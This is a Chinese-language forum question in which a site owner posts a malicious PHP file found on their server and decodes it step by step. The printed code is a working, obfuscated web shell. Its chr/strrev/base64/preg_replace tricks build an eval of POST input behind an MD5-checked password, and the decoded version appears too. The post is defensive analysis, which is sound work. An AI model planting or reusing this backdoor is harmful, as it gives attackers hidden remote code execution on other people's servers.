只是一个简单的问题....我在网站上发现了一个恶意文件(已删除(,但我想知道它在做什么。下面是代码,任何见解将不胜感激。
function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "'x63'x68'x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."'x72".$_g1qm2(114)."'x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."'x6f'x63".$_g1qm2(101)."'x64".$_g1qm2(95).$_g1qm2(52)."'x36".$_g1qm2(101)."'x73'x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("'x65'x63".$_g1qm2(97)."'x6c'x70'x65".$_g1qm2(114)."'x5f'x67'x65".$_g1qm2(114)."'x70");
$_g1qm6 = $_g1qm3("'x6c".$_g1qm2(97)."'x76'x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"@$_g1qm6($_g1qm4('"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K'"))",'');} @_g1qm0();
}
这段代码不完整,但从我解码的内容来看是:
$log = 'prt';
if (!isset($_SESSION)) {
session_start();
}
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {
if (isset($_POST['mtq'])) {
$pt = base64_decode($_POST['mtq']);
eval($pt);
exit;
}
}
if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) {
$_SESSION['log'] = $log; exit;
}
所以简单来说,它从 POST 请求的 mtq 参数中查看并在 shell 中执行它。数据采用 base64 编码格式。它还在会话中存储一个变量log
也
$_myfunc2 = "'x63'x68'x72";
它被解码为chr
这是PHP中的函数,它基于ASCII代码返回字符。
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
看起来像 md5 哈希,但我不确定
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."'x72".$_g1qm2(114)."'x65".$_g1qm2(118);
它是 $_g1qm3 是strrev
函数
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."'x6f'x63".$_g1qm2(101)."'x64".$_g1qm2(95).$_g1qm2(52)."'x36".$_g1qm2(101)."'x73'x61".$_g1qm2(98));
它是base64_decode((
$_g1qm5 = $_g1qm3("'x65'x63".$_g1qm2(97)."'x6c'x70'x65".$_g1qm2(114)."'x5f'x67'x65".$_g1qm2(114)."'x70");
它是preg_replace((
$_g1qm6 = $_g1qm3("'x6c".$_g1qm2(97)."'x76'x65")
这是 eval((